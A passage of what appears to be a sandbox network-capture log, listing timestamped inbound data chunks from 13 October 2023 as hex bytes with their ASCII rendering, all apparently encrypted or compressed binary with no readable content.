f2 1f 30 49 16 f1 df a1 4f 93 96 95 06 f4 ec 88 c0 b3 Data Ascii: 0!npV)%j4_ecVTB]#x\u%)=EmGmw7<L~Tp\[F>3[U;yrdZ8:g2PgYuJls?<O<\f8#;=fr ]2Uxgl1QJ):9A4\]0IO
2023-10-13 14:06:11 UTC	3996	IN	Data Raw: ef 00 c3 3e 57 6a 48 ef da 9a 8d 14 d3 11 76 5a 95 c8 14 76 f9 4e 9b 17 7e cc 76 35 f0 2f 9d 60 db ed 82 90 9c d8 a5 0b fd 32 53 48 e3 92 cb 98 45 b2 b2 34 9a 4b 03 db fe 34 33 6a c0 f3 3a ee 8c 02 18 29 8f 00 6a c3 b0 00 85 4d 98 de fc ca b1 9b 44 d4 1d 73 3c 4a b3 bd b8 cb 1b 2c 60 a4 e0 fe b8 cb f8 7f bb b7 3c 7c b1 99 70 ce 6e 55 d7 b7 88 2a 6a 31 72 44 da cc ab a4 84 fd 70 5e 01 75 0d e1 f1 4f 53 34 03 6b a3 1d 1f 2c 80 a5 c1 ab ae 5e 6e ae 71 7b ce 6a 5f 3a 62 15 39 4b 0e 4e 35 e2 de 07 6b 30 ad bf 57 86 3b 92 c0 61 ec 23 4d 44 d5 16 9e 2e 61 de 91 aa e7 fe f0 bc 90 c1 9e 97 51 c5 ed 88 ce ce 49 9f 9e 24 5b ef eb e4 f8 61 e2 d7 f6 96 08 c4 dd 39 31 a2 92 3e 82 5a 4e f1 c2 a0 7a 05 65 93 6e 43 aa 65 25 32 7f 08 fa d4 3a ee a6 18 d2 5c 9a b1 36 51 da Data Ascii: >WjHvZvN~v5/`2SHE4K43j:)jMDs<J,`<\|pnU*j1rDp^uOS4k,^nq{j_:b9KN5k0W;a#MD.aQI$[a91>ZNzenCe%2:\6Q
2023-10-13 14:06:11 UTC	4012	IN	Data Raw: e4 3e e2 d3 2d 91 a0 9e f2 1a 69 a2 f5 32 ff 84 04 13 70 45 07 00 af 38 ea ac ad 3d 8c dd 2a c4 56 4c 6d 9f 48 bb 49 4b 12 5d 7f dc 85 62 ba 94 91 a3 84 53 ee dc 83 06 83 d6 9e b3 cf 66 06 17 e7 20 6e dc c3 f5 68 21 ef 1c bd 3d f7 f7 c1 d3 a4 24 f4 e1 08 e7 77 53 f5 ad 25 a8 3c 76 04 d0 65 9e ae 27 af ca d2 34 96 b2 b4 3e 30 da 90 18 90 0e ee 00 15 de 68 0b 4c 68 7b 61 c7 fc 51 00 1b 85 e1 0b 5c 6d 31 a6 97 a7 d3 4b ef 9e dd d1 06 db a9 3b fe f3 cc ef d5 d7 61 f7 fa 57 4a 7d 68 d8 bd 14 39 a3 68 44 20 c0 57 d4 78 a1 77 e2 7d 56 05 12 2f d3 2e f0 bb e0 0b 9a 8f 19 ec 68 2a 38 4e 56 5a 5b 65 a0 c9 5b 17 40 ce 8c 53 07 16 6b c9 08 46 21 31 f3 c0 2a 27 65 d6 7f 1b b5 ad 4f 93 2f fa 7a af 8f 36 5e 61 fc ab f0 8e 79 38 b0 ed de 19 83 0e c1 a4 1d 27 06 fa e1 cd Data Ascii: >-i2pE8=VLmHIK]bSf nh!=$wS%<ve'4>0hLh{aQ\m1K;aWJ}h9hD Wxw}V/.h8NVZ[e[@SkF!1*'eO/z6^ay8'
2023-10-13 14:06:11 UTC	4028	IN	Data Raw: 51 80 63 32 62 2f 0a 33 e0 fa e6 a5 73 89 bd c3 73 2b 3c be 4e bd b6 8d f4 80 20 7d 9b 1f e3 08 94 c6 62 bf 49 a6 9f c8 a2 a9 e8 bb 0a b0 0d a2 35 1a ea 32 67 cb 04 c9 ac 0c 08 5c 79 1b 09 90 b2 8f ec 3f 13 8d ec 8d 80 24 09 3e 58 7e 18 b8 73 b1 30 c5 86 07 f0 e9 5e ce 92 5d ea 92 d4 6c c9 3a b0 f1 2d 5b 4f c2 45 86 47 98 e7 d7 53 1e 9f 0d 2c ba 75 13 c0 9a 9e 6c f6 ea 19 5e 70 ac 48 76 0d 4f d2 4a ac be d7 4d e2 b2 f2 e6 75 95 2d a5 e1 6b 45 f4 f6 47 72 6a 42 0d 68 f9 ea 22 c9 69 d6 95 fd c6 c6 45 f5 d1 68 67 c9 95 78 8c 55 f6 81 66 83 89 14 43 e2 01 25 27 42 56 24 4c 4b 7a 89 c5 84 e9 b1 fe e6 b3 71 b8 2e 0f e5 f4 5d 98 bd 6f b4 40 10 7b 15 57 7e a3 54 56 64 c6 0d 60 26 8d ca df a5 97 f4 e6 ef cd 93 bf 84 15 56 2e e5 60 db 07 11 7d c1 d3 40 87 3c 5a 0e Data Ascii: Qc2b/3ss+<N }bI52g\y?$>X~s0^]l:-[OEGS,ul^pHvOJMu-kEGrjBh"iEhgxUfC%'BV$LKzq.]o@{W~TVd`&V.`}@<Z
2023-10-13 14:06:11 UTC	4044	IN	Data Raw: d6 c8 fe ec c6 cd d2 2a 8b f1 85 6a 92 b4 b3 f5 a3 da 26 14 5f 2c 5a 71 2c c9 f4 f4 32 1d 8f 86 da ce 82 93 e0 be 1d 53 4c 51 3b 65 4f b5 9c f1 04 96 2f 15 38 69 5c 29 a9 f2 3f 31 8f f6 5b 26 40 5d c0 67 c4 9b f3 77 18 5c b0 a0 62 f4 4b 0e 80 f7 84 05 a1 7c d2 89 2b f8 f1 02 c6 ad 5d d8 7c c8 a4 a6 18 43 e2 55 14 1b d9 94 f0 e9 6d 94 79 e0 14 b5 91 ae 0c 4d 8c 63 ec 22 44 6f d1 f9 7b 5c 0e 37 c5 0a dc 17 9c b7 80 61 b1 a0 e5 1d 5c bd ac 67 5f 06 9e 2f 41 38 eb ea 3d a0 b5 74 14 b7 15 d1 f0 6b d7 ae 19 43 e8 62 c7 d1 b8 31 5f 72 f0 27 f2 c1 44 f8 d9 0b 28 b4 6c 78 33 82 ed 38 14 75 d3 1c 23 0f 36 b2 f8 0c 2d 6a 41 c4 f9 1e 9a 09 08 1c eb a6 ee 6c fb 9d c9 09 b0 3e 2f 7b 88 05 c8 57 6e 6a 80 c3 48 9a bd a9 0e 49 04 c8 85 6b b4 fb 7f 08 56 ff 71 99 62 f0 44 Data Ascii: *j&_,Zq,2SLQ;eO/8i\)?1[&@]gw\bK\|+]\|CUmyMc"Do{\7a\g_/A8=tkCb1_r'D(lx38u#6-jAl>/{WnjHIkVqbD
2023-10-13 14:06:11 UTC	4060	IN	Data Raw: d8 17 8a 04 c0 87 93 9f cd 14 1d f5 c2 ca df 14 06 dc b4 c6 a8 a3 00 5b 74 19 2f 68 e2 dc 27 e6 02 b1 5e 94 83 5d 91 28 57 9b e9 42 a7 23 6a fb e0 3e 73 fb 87 98 ae cb dd ff c5 71 d9 d8 5f 35 6a 00 18 7c 12 e4 29 e9 77 6e 54 4d 23 f8 c4 66 e8 66 0b 23 9d 4d f4 1a c4 cf 75 77 99 fb bc c2 50 e6 48 36 d6 c4 32 e0 31 85 b7 20 a5 bc 15 ef 03 78 b7 f4 18 67 82 15 39 34 a2 c1 44 de a0 09 12 d5 d3 ac 14 60 df 94 73 ce eb 60 3c 2c 15 f8 08 dc 62 0b 70 c5 72 9f 9d 9d ab e4 f5 42 33 27 6b 81 c9 f6 15 02 03 36 1a e7 15 95 40 2a ab 18 8f 6c da 66 aa 2d 0d 3b f5 16 b9 01 2f 35 7c 42 bc a2 82 bc 98 dc 47 6d 11 21 ad 70 18 5a bd 90 fe 48 62 52 96 77 7b 8b e7 9b fd 62 db 2f 2d e3 c1 60 01 02 c4 cc 7f 9a 56 e1 c9 ff e0 91 12 64 64 4a 18 16 df 55 fc 9a 5d cd d5 96 04 cc 7d Data Ascii: [t/h'^](WB#j>sq_5j\|)wnTM#ff#MuwPH621 xg94D`s`<,bprB3'k6@*lf-;/5\|BGm!pZHbRw{b/-`VddJU]}
2023-10-13 14:06:11 UTC	4076	IN	Data Raw: 44 d1 37 d8 8a c4 69 52 18 59 9e a5 2f 2e d2 b0 c9 2f a3 68 ad e2 a0 d5 89 96 22 af aa 73 b0 fb ba 6c e4 c6 4e 0c c8 36 1a 5b 38 1a 2f b1 27 b5 2a 2e 01 21 1f 15 9d 96 4d 7c fc e6 58 fe ff 75 11 3e 19 d4 67 63 fc ea 64 27 da aa 11 2c ba 4a 08 dc 41 d6 c3 b9 72 67 05 84 04 f8 50 03 9d 60 41 00 02 ff a3 8f 09 e3 11 8e aa 18 2c 10 f6 17 69 ac 70 3d 1d 3b d0 28 1f 81 f8 35 1a f4 4d c7 02 61 fd 94 25 66 65 c2 d4 45 52 ca 5c 4f f8 cf a7 ae e7 7a 89 ca 68 73 51 09 01 9c 8e 15 c2 81 60 7f 9f c9 1a ab ec fe 64 a8 28 8b c8 0c 67 09 31 33 97 70 ec 49 4e bf 7d 6d ef 69 51 78 28 83 27 fd c2 1f ae 7e 99 75 f5 4f 61 9b 28 cc 38 25 0e 13 03 2c 7c 40 28 22 19 e5 75 5c 69 84 99 20 41 6c 19 97 3c 72 f2 a1 9d e3 d9 9f 5c 0e fd f4 a7 cb 17 13 4c 26 53 8a c9 03 9c 81 63 55 79 Data Ascii: D7iRY/./h"slN6[8/'*.!M\|Xu>gcd',JArgP`A,ip=;(5Ma%feER\OzhsQ`d(g13pIN}miQx('~uOa(8%,\|@("u\i Al<r\L&ScUy
2023-10-13 14:06:11 UTC	4092	IN	Data Raw: 35 d0 5b 11 32 5b 8a 55 b5 67 8b a9 39 f3 0a 1f b2 12 2f d0 70 3b d9 72 df a7 9f 0f d4 82 0a d4 28 dd 74 52 bd 62 be 77 cb 81 e6 dd 2e a8 8e a6 cd 92 36 c3 ac 2d 1a 29 28 18 2f 3f 0b b0 1b 0b d5 0c d7 4f d7 10 31 54 1f 39 b2 d2 a9 6c 1f 9b 5d a3 da 41 9b a0 5b 4a 90 cb b6 f5 78 30 d5 09 ae eb c7 75 50 e5 37 a4 34 bb 0b 1e e1 00 48 ba bb f6 ae 37 b8 ee 9c de 29 bf c9 e3 7c ee 74 59 41 09 ab 28 b8 f1 9f 9d 2a b0 7b 06 b8 37 ee da 5f b1 53 30 73 9b 6d 1f 80 df 22 dc b6 b0 72 ba 3e 1a a3 e0 20 cf 00 95 ed 0e 39 8d 49 13 f6 8b 94 47 54 b0 84 3f a5 2b fd 30 e7 04 63 33 3b 88 fd 4d 6b 54 2c 49 c3 50 53 17 19 f5 3a 95 46 1a 90 58 9a 31 57 ef d7 57 3f ee 8c c0 9b 33 f4 51 08 4e 70 5a 30 e8 8d 4b e0 66 4e 73 9c de 88 ee c9 f3 00 14 3b 55 b6 53 8f 77 d3 45 b2 ed 88 Data Ascii: 5[2[Ug9/p;r(tRbw.6-)(/?O1T9l]A[Jx0uP74H7)\|tYA(*{7_S0sm"r> 9IGT?+0c3;MkT,IPS:FX1WW?3QNpZ0KfNs;USwE
2023-10-13 14:06:11 UTC	4108	IN	Data Raw: df 07 14 36 65 c2 61 34 0e 02 5d 22 8c b0 6b c0 d0 20 a7 f9 ac 76 c2 13 02 fd db a6 22 3d 70 24 29 35 80 3d 4f a9 f2 76 5e 6c 89 06 fe f1 d6 80 bc cf b4 05 32 26 24 8a 1a 5c 36 70 00 79 eb 77 42 f2 38 9b 35 50 70 4b 0e 2b 2d 91 55 6c 5b 3d 24 44 87 07 f8 cb 48 70 1d c1 bd bc b5 9a d5 60 9c fe 91 7d aa d8 6b d9 f1 1e 28 42 cc 86 71 73 16 be 7b c8 ef cb af 31 9a 1d 7a 21 5f 82 17 1c 74 b7 11 b7 9a e0 29 bc c8 6f f1 90 af 58 32 6c 4d 0e 54 a1 a7 dc 95 b4 2b 0c c3 52 56 bf 59 49 33 34 57 ba 3c ae 4d ec 4f ba fe af c5 61 d7 d4 d0 d5 a9 e1 af 36 bb b3 14 3a 7b f4 74 61 e7 3e 3a da 12 0e e5 7f 0a e7 c7 6c 07 b7 b8 1f f6 b1 1b cb 1f 4d 5a d4 38 1c 5d 95 ae 28 03 cf db 57 d3 69 72 81 7e 4e f2 e6 a3 b3 11 07 0e a2 77 5f d3 80 10 d9 e4 de ba 06 08 ee 76 3c 98 d6 6b Data Ascii: 6ea4]"k v"=p$)5=Ov^l2&$\6pywB85PpK+-Ul[=$DHp`}k(Bqs{1z!_t)oX2lMT+RVYI34W<MOa6:{ta>:lMZ8](Wir~Nw_v<k
2023-10-13 14:06:11 UTC	4124	IN	Data Raw: 3c a8 0f e7 d0 1f f0 82 6b 6a 70 28 d2 12 84 7a 2a bd b5 19 7f 80 23 54 ec 1d 80 d8 d8 a8 8b b9 f4 72 85 b4 da 61 c8 fc 04 85 8a 6e 77 02 b3 bb d0 09 40 78 de 99 89 e6 05 0b b6 6d f2 ac a4 96 ad 2b 47 25 d7 40 84 ca 76 1b 28 08 da 09 60 50 c5 6b 59 d0 e1 85 4d 2c 1d ad 35 05 22 94 8a 7e 3b 01 36 7c 6f 70 c4 77 31 e1 3c a3 f8 fe 89 47 c9 d6 e4 b4 5e d9 34 e4 a7 3f 8e c0 5a 85 39 97 1e 4d 45 7f c7 5c 36 68 3f 94 40 37 c6 d2 d2 3b 89 09 6e ec ee d0 d7 28 46 1b 10 03 23 3d 54 8c 0a 63 9a fc b8 c0 16 de 50 62 63 53 7c 35 13 f0 85 16 dc f7 d8 3b e6 2f 6d be 30 2b f6 27 cc 76 db 42 96 22 ca 82 cf 7e 0e de 8f 21 40 9e 2f 1f a8 44 79 c3 13 21 57 5e be b9 4d 2e e2 d7 4d f7 09 74 5f 19 a8 ae 4b 01 c6 2c c4 1f c3 e0 e9 35 cf 2e ea ff b1 b4 26 03 f2 b7 0c d7 72 94 88 Data Ascii: <kjp(z*#Tranw@xm+G%@v(`PkYM,5"~;6\|opw1<G^4?Z9ME\6h?@7;n(F#=TcPbcS\|5;/m0+'vB"~!@/Dy!W^M.Mt_K,5.&r
2023-10-13 14:06:11 UTC	4140	IN	Data Raw: 7a 0e a6 f8 63 53 af 14 c4 f6 12 cc 71 c9 3d 94 29 db b3 1d f6 ce 4a ec 8f 57 af b8 e7 b2 c3 ba 89 be ee 68 a2 7b db 2d 3b 68 96 54 d2 01 fc 9c 8d c2 b6 ea 15 df 4e c0 59 5c ac 1c e0 0f ce 25 46 08 12 87 65 e5 80 59 64 a2 45 1c 91 a9 a5 69 14 c6 e0 ed c0 44 51 b8 b2 2f 04 69 13 35 33 4d 14 df a0 92 36 33 2e 96 89 4f 71 e9 9a db 01 da e4 51 5f 6f f7 fe b5 24 07 07 1c aa 5b 19 24 3d 68 09 cf 3a b4 ff c2 60 24 4b 31 21 a9 f5 e0 3d 46 9c 1f 43 f7 26 c5 f0 73 6e 0d 02 1f 0e 15 37 19 fe 16 19 75 d9 b7 a1 e5 53 80 d1 6a 94 59 42 0e 83 53 bd 57 46 9c 5b 77 c5 67 66 f4 16 bd b0 57 90 f1 24 e3 06 b8 80 13 18 5a 89 e4 e0 e5 dc 72 95 22 0b 4c 3a dc 9b f5 77 de 6f b1 f9 0e da 50 eb 27 dd 8e 34 30 8c f4 1c e7 ce 1c 87 7b e5 ac 7e 36 73 d1 f8 21 c5 0f 3c cd 89 1e 37 b9 Data Ascii: zcSq=)JWh{-;hTNY\%FeYdEiDQ/i53M63.OqQ_o$[$=h:`$K1!=FC&sn7uSjYBSWF[wgfW$Zr"L:woP'40{~6s!<7
2023-10-13 14:06:11 UTC	4156	IN	Data Raw: 00 a9 29 cc 11 51 65 3f 96 53 86 eb e2 59 0b 19 28 37 02 c5 9f 66 49 f3 d3 f8 8c ff aa 7f 3b 99 2b f2 91 6d 8c 75 1e 34 6a 71 82 90 80 fc 1c 1d 58 0c a7 54 fa 2f bd 0b 07 fd 60 77 1e b8 be 40 95 18 fd 98 ae 6b e2 6d 78 5c a5 c0 35 b3 73 03 67 29 79 6d 0c 1f 43 49 1c 9a 2b 24 46 1b e1 5d 40 bb 2f 07 0c 1d 39 fa c0 65 d3 77 a9 cb be d1 d8 1c 06 6a 6e 86 90 da b5 9d 6d 2f 75 35 38 f9 e5 f1 f4 09 b2 3a c9 cf 05 77 b9 45 30 04 c4 92 5e bb cc 71 56 07 a3 81 d9 cd 75 e4 df ab a3 1d 1a db 6c 68 46 f8 06 90 78 4b f4 c8 91 f1 35 8e 25 72 44 93 97 dc 8c 9f 40 6e e4 fa b7 81 4c cc f1 3f 85 1d 6c d9 0d c2 ef ed ac fc 90 95 e7 2a 56 fe 84 b4 46 c6 a1 4d 13 54 3a be 0a cc 4f d2 f2 0d 5c 9d c0 42 3a d2 43 48 e9 bb 3c 23 de 99 c4 7a e6 b8 c6 73 84 e8 da 86 b9 ad b1 9f 71 Data Ascii: )Qe?SY(7fI;+mu4jqXT/`w@kmx\5sg)ymCI+$F]@/9ewjnm/u58:wE0^qVulhFxK5%rD@nL?l*VFMT:O\B:CH<#zsq
2023-10-13 14:06:11 UTC	4172	IN	Data Raw: ad 49 e2 bb 32 6e 61 6d a8 34 bc 62 a1 a2 39 59 64 70 4a f7 01 95 b1 cb 31 33 7e d8 50 da ab 22 af b2 6f 1c 1f 28 fc 5c 7e 82 2e 45 44 b8 33 70 6c 3d 2d b8 ca 1a 3b e8 44 c5 04 fd b2 d6 68 f5 54 da 24 a3 ef 34 be b0 96 9d ef 8c a3 fc 4c 73 e9 7a 15 e5 f7 32 17 a6 62 2d 41 c8 06 2f 9d 1a 2f 74 4f 45 d0 e9 35 19 fe aa 50 ce 79 3f a4 d8 99 24 38 ec e2 e3 13 e8 85 6a 2a d4 f8 2c c9 b0 85 41 b7 26 a0 95 b3 a6 be 9a c4 bf 39 0e 60 3d fe be ca a9 0f 49 13 47 8b 98 a9 78 90 95 48 2a 7b 43 22 42 52 10 ff 80 5c 86 b8 c6 9c 74 f7 c5 4e 16 ee 54 5e 94 cf 8c cb 9b a7 3d 89 08 95 ce d4 3f 80 16 ba 2e 90 8d cc 4d 74 d2 04 97 29 1c 48 52 be cf d7 60 59 4a 86 fe f7 23 ac c6 51 16 d5 5f 03 95 44 28 b0 eb 3a 99 f9 2e c5 35 30 83 17 b9 87 51 01 8d f3 4b 89 fc ae 86 24 f0 36 Data Ascii: I2nam4b9YdpJ13~P"o(\~.ED3pl=-;DhT$4Lsz2b-A//tOE5Py?$8j,A&9`=IGxH{C"BR\tNT^=?.Mt)HR`YJ#Q_D(:.50QK$6
2023-10-13 14:06:11 UTC	4188	IN	Data Raw: 0f ae 94 a3 a6 26 37 67 3d 05 b6 29 1d 19 dd dc 44 cd d6 f2 73 01 78 27 99 08 88 a0 83 66 70 f6 10 d9 1f c3 04 80 7e 9e 61 c0 7c 7c c9 49 e1 16 fb 71 96 29 28 9d 98 cd 2f 22 a8 06 f3 69 71 97 a4 01 3e 47 87 4a 74 f0 ee be 60 eb e5 2e 15 11 8c 5d 93 36 64 8d b4 7e 38 8c 55 ba c5 6f 86 06 91 5b 27 f9 f3 1d d7 2e ed 85 a8 ca 22 3c da 52 e1 89 23 40 af 7e 83 2e 4e 53 51 2e 75 9b ec 41 44 25 c2 6c b5 16 3c 94 0e f4 69 6c f6 af d9 46 76 9c 88 88 92 f5 98 0d 1c d9 41 67 fd 50 d0 06 ab e1 fc 2a d1 5a db b9 c9 3d b8 b0 57 2f 69 14 9e dd 19 97 c7 25 1d 68 78 1d c5 5b 58 5c dd eb 7c 77 d1 cd 0f 7a d8 52 80 31 a1 9c 6d 59 7e cc 18 11 90 de 91 df 7e 84 b8 ea ea fe b0 e9 cc dd e2 20 48 24 94 32 25 6f 86 7f 85 68 01 35 3c 43 d8 9d 9e 12 a6 f9 94 36 4b 4a 43 ad 6f 51 c1 Data Ascii: &7g=)Dsx'fp~a\|\|Iq)(/"iq>GJt`.]6d~8Uo['."<R#@~.NSQ.uAD%l<ilFvAgP*Z=W/i%hx[X\\|wzR1mY~~ H$2%oh5<C6KJCoQ
2023-10-13 14:06:11 UTC	4204	IN	Data Raw: be c7 b0 a9 58 45 c6 24 c5 b1 98 c5 bc 9a 06 37 0c c4 5a 2a ce 7a 87 27 14 d6 a5 f6 07 24 75 e4 db 73 b1 e0 db b0 e1 e9 42 dc 5a 7d 69 f3 28 49 48 ac 77 2b 9a 81 f3 3e 14 77 72 46 35 f2 7f 9b 01 f8 9f 4d 2f 72 75 b4 07 56 88 09 c4 3f 8a 33 82 49 5f 1b 18 b5 a0 2a 70 b8 53 d8 c0 61 6d 9c b1 67 70 ac 8e d8 6c cd 2d 9c b5 2b 0b 58 c3 de a8 8f 5f 23 00 9f a5 81 09 a1 27 c5 53 fa e3 13 2e e1 b4 f1 b6 76 a0 68 0e e4 c9 a6 f2 8c fb 12 35 3e c4 d1 a0 25 81 29 f2 84 fa 20 81 e2 e1 24 d8 90 49 02 be 0a c5 be ff 6e 0d e6 dd 96 b0 f9 76 34 46 88 20 ee 83 d1 ef 83 6b 5d 5f fa 41 19 89 ba d4 c6 21 eb 42 1d 90 8c a3 e9 4f c4 c9 ff 6e 76 d7 d9 eb b6 e5 65 89 59 c0 01 91 e4 1a 19 92 2c e1 55 6e 0a da 4e 71 14 21 b0 48 4b eb 94 c7 50 bb a0 32 25 fe 8c 8f 68 6c a8 cf d3 a4 Data Ascii: XE$7Zz'$usBZ}i(IHw+>wrF5M/ruV?3I_pSamgpl-+X_#'S.vh5>%) $Inv4F k]_A!BOnveY,UnNq!HKP2%hl
2023-10-13 14:06:11 UTC	4220	IN	Data Raw: 2b 77 57 d6 22 6b 4b 72 bd b4 0c 5a d1 91 35 28 ee 0e 1d cd fe 1e ab e0 77 5a c9 8b 08 db 4a 75 76 ea 57 cd cc b1 2d a9 f0 55 51 20 2d b9 23 77 3a bd 69 a0 11 ed a4 23 87 54 6b bd a6 f2 e8 54 8d 38 17 8b 75 fe 23 97 08 c7 3e b0 f8 5a 24 d4 b7 d4 7d ee 90 be 63 76 1b 75 fc 88 c9 1f c2 18 ce 81 c1 23 e0 55 81 29 d9 a6 0e 19 33 d1 40 a1 61 5d 4a 4e 82 56 e3 36 09 a6 53 ac 12 c9 37 2a d2 e5 6f c3 d5 33 5d 3c 0b 30 6f 8e 12 c0 1f 1b 0a cc fd 32 0d e0 e4 9b de b2 18 ac 58 df b4 81 50 47 5d 09 09 fd 9a a6 aa 75 e8 56 e7 3f 3c 0f 00 c2 18 09 73 31 eb 15 0d ad 43 06 41 84 e1 10 8e e9 e5 db ea a4 e2 90 6b d8 d3 66 12 31 20 6c 9b 75 6a b5 b5 a4 a3 f4 5e 7e 30 cf aa d6 13 cf 40 72 5d be 71 8b 69 6a a7 f6 5c 85 78 a0 6e d6 3e 18 fd 82 92 e6 ff 3a 96 3b 4d 13 17 75 60 Data Ascii: +wW"kKrZ5(wZJuvW-UQ -#w:i#TkT8u#>Z$}cvu#U)3@a]JNV6S7*o3]<0o2XPG]uV?<s1CAkf1 luj^~0@r]qij\xn>:;Mu`
2023-10-13 14:06:11 UTC	4236	IN	Data Raw: 36 dc ed e3 49 18 8e 02 c7 75 53 e3 89 1b 4f 09 bc 86 02 9b 2b ab 4c 01 dc 78 b0 73 5f 39 27 7d 95 d9 65 a7 d7 d0 69 3c 98 92 c5 71 91 2e cb b9 5a 67 01 10 ed 5c 02 e0 ce 25 1e e6 c2 fb 75 cc d1 df 1e e5 64 4c d6 1a 6d 6a 64 fd 3c 02 06 0b 15 1b 1c de b9 63 6c a9 ea 45 a7 cd 32 71 36 a0 9c 7f d8 07 2a 8c f2 33 c9 42 50 cf c3 0d 43 32 88 ad d2 c6 b1 9a 50 91 63 ca 0c 15 6b 10 e0 3a ba 38 d7 41 e5 b7 55 fc 23 b9 a1 b7 7d 47 d1 3e bf 24 a6 eb eb 11 d1 1d 84 b2 a3 68 e7 8f 8d 08 25 a6 c1 6e 69 c3 11 00 9d c7 c9 63 d0 c9 12 ff 5f 86 ba a3 69 5c c3 4b 2b 7d 2e 70 b1 23 06 8e ae e5 26 61 40 19 fa 4e f5 d5 78 66 aa 32 46 fa 10 8a 7c 7d 76 fa 43 18 3f d4 97 3a 53 11 d6 d1 82 af bc 4b 6f c1 15 1d a3 6a 18 f3 98 c2 26 5c c9 11 a6 5f 74 7e 21 67 3c 96 09 fd 72 53 da Data Ascii: 6IuSO+Lxs_9'}ei<q.Zg\%udLmjd<clE2q6*3BPC2Pck:8AU#}G>$h%nic_i\K+}.p#&a@Nxf2F\|}vC?:SKoj&\_t~!g<rS
2023-10-13 14:06:11 UTC	4252	IN	Data Raw: 71 78 90 18 fd e7 45 74 63 f4 0d f7 33 e1 a0 50 88 85 9d 8c 5e 5f 71 b6 56 ce 03 cf c3 9b bf ad 22 fb 95 21 f9 12 d8 38 c0 0b 92 5d fe 17 84 52 1b 85 2c 6f 5c 2c 89 87 58 8c 1d 7a 08 f9 18 e7 15 cc d9 69 e8 f9 b6 ea b0 0c dd 47 d2 1e 94 a2 c1 20 7d 43 e6 cd 53 b1 6a a2 a8 f9 9f f7 de 33 29 f9 57 ad a1 0b 60 6d e8 36 a3 24 a4 f1 75 e1 5a 8e 3d f0 fe 61 44 d2 95 35 ee df 8d 8b 0f 7d 6e c1 28 8a b4 66 f9 10 04 52 fc 1e 61 fb 33 80 31 60 7c b2 e8 53 eb ce 6a 08 e0 ac fa 46 c0 1e 2b 55 b5 0a 59 d6 0a 66 66 28 63 7c 71 5a f8 9d c7 5a ae 49 9b 2f c8 f4 c2 1e 23 48 1d 8c d7 75 a8 d2 5d 4b 74 d1 d7 5d 0f 97 30 9b 23 e3 c2 29 8f 8e 27 96 a1 81 c0 3c 1e ad b4 3b 0a 8a 76 cb 68 72 90 03 71 de e2 39 06 7a 1c 43 69 11 70 14 08 06 94 03 37 b1 cf bf 5d f9 91 7f d5 df a7 Data Ascii: qxEtc3P^_qV"!8]R,o\,XziG }CSj3)W`m6$uZ=aD5}n(fRa31`\|SjF+UYff(c\|qZZI/#Hu]Kt]0#)'<;vhrq9zCip7]
2023-10-13 14:06:11 UTC	4268	IN	Data Raw: 8b 8d a6 3b 29 b8 d5 54 da c7 02 1b ce c8 15 fd ad 9b 2a 96 f8 fe 91 fb a5 2b d7 09 86 c9 a0 a4 cd f9 45 91 2a 37 f5 8e 28 63 b6 63 31 9b d0 88 90 94 37 19 07 7c 8f ee ef a2 4d 1c 99 de 62 d3 4a bc 33 b0 96 26 ba 38 08 50 fa c5 85 19 f1 70 ab 08 a4 c6 30 cd 04 e3 84 79 31 ee 00 e1 8e 1e 25 c6 2b 6f 01 2f 57 ba 72 d5 59 a3 eb 05 55 03 6b 31 f2 42 4a 24 9f da 94 75 3c 30 a6 09 2e 53 c2 b8 ec bd 74 6f 6f 03 c0 37 f4 18 28 be 33 1c 06 f8 9a 0c 3d 5a c6 88 1c 79 2d f7 26 e7 33 6e fb 6f 84 f0 2f 7b 22 28 1a 56 22 b2 ab 56 78 16 06 27 3c 25 80 b1 be 82 9b 39 5d f6 3a 5b 50 e7 27 23 02 1c 72 41 50 b4 30 7c 63 30 0d 1d 2b 95 9a b0 5e d4 46 14 11 60 26 82 fc b0 b3 1d 38 0c b5 43 98 ca 53 80 a0 f5 45 15 2e a9 b6 7b bc 17 30 17 98 ce 8e 70 6b 7b 96 c5 3f 2a a6 a8 2b Data Ascii: ;)T+E7(cc17\|MbJ3&8Pp0y1%+o/WrYUk1BJ$u<0.Stoo7(3=Zy-&3no/{"(V"Vx'<%9]:[P'#rAP0\|c0+^F`&8CSE.{0pk{?*+
2023-10-13 14:06:11 UTC	4284	IN	Data Raw: d1 13 b0 ff a5 24 fa 97 c2 67 b2 f2 2e 16 82 cb 92 a5 41 ae 7f 5e d5 32 6c 92 92 a1 47 5b ae ce 35 84 ee 81 2f 58 2b 03 d6 6a 98 51 78 d7 b5 e6 66 5e 3a ce 4b 6f 97 4b 0c 05 60 90 80 63 d7 19 25 08 97 22 9d 77 e8 98 a7 9a eb ac 71 e1 62 97 1c ba c7 5d f6 3f 07 4d 0f c9 7a 0c 7d d0 65 35 6c a1 8e ef 90 d6 fe fe 67 34 0f ff 99 99 3a aa 60 f7 cc 4c 7d b4 58 07 e9 25 c8 09 b4 00 00 d8 b9 ee e0 53 55 e0 17 1c f1 bd 08 36 42 99 c2 5f 9a 29 f2 95 ec 45 f1 86 c1 9d 10 21 26 d6 3b b2 2f e8 b6 48 54 f9 f7 d0 92 80 c8 8b 27 bd aa e9 6f 1c f0 9f 78 9b a6 ac 65 3b 0e da 20 98 d1 3a 79 07 87 2f 61 58 76 51 40 2a b4 9a 8f 9e a3 5a 8c bd 85 7f 2c 0e 9b ae 5a 7c 77 12 22 13 75 e4 5c 9a 35 79 f2 d1 32 8a c5 58 55 e0 7c d7 fd c5 8e 10 5a 8c cd 8b 94 88 f1 d1 4d 48 23 8b 56 Data Ascii: $g.A^2lG[5/X+jQxf^:KoK`c%"wqb]?Mz}e5lg4:`L}X%SU6B_)E!&;/HT'oxe; :y/aXvQ@*Z,Z\|w"u\5y2XU\|ZMH#V
2023-10-13 14:06:11 UTC	4300	IN	Data Raw: ca 1d 40 58 1f 2d 52 f9 dd 43 81 20 c3 4f f1 3e bb 50 df 3c d9 32 5b 02 36 0b 3f 3e b2 c1 3f 63 d5 62 bb 76 8a 2a e7 eb e6 25 7a da 1d f2 dd 81 71 d1 30 b8 75 3b 41 5b 2b 49 3a 35 a0 ae e4 d6 a0 5f dc 45 97 3a c3 4c d9 09 04 f8 8d d7 4f c0 76 a1 82 f3 76 f0 60 9b 00 08 ae 24 47 e2 8f 20 77 4a b1 0b 55 18 1c 8e 4a ee 95 d5 d5 56 a9 96 1c c4 50 66 26 ef f5 1d 6e b9 1c 37 82 6e 06 6f e1 e5 6b ed 33 f8 bc 0f 2c 98 62 9f 28 6c 07 70 d2 38 35 a1 29 67 ce 6e fb 09 29 e0 8d 17 4e f8 44 1b 13 78 23 38 6c df 19 a3 36 10 e4 00 79 c6 a0 d2 29 8a c8 ac 37 